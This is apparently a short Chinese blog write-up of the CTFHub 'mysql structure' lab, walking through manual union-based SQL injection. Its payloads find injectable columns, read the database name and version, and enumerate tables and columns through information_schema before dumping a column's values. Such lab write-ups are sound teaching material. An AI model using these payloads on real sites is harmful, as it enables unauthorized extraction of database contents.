CTFHub-mysql结构

手工注入

    输入1,发现存在两个注入点

 

 

    验证两个注入点:0 union select 1,2

 

 

    得到所使用的的数据库信息和版本信息:0 union select database(),version  (返回的字段数必须和注入点数量一致)

 

 

    通过数据库去查找表:0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 

 

    查询表中的字段:0 union select 1,group_concat(column_name) from information_schema.columns where table_name='brqivopyay'

 

    查询对应字段的值:0 union select 1,group_concat(ncrvswmjky) from brqivopyay

 

posted @ 2021-08-24 14:51  r1kka  阅读(327)  评论(0)    收藏  举报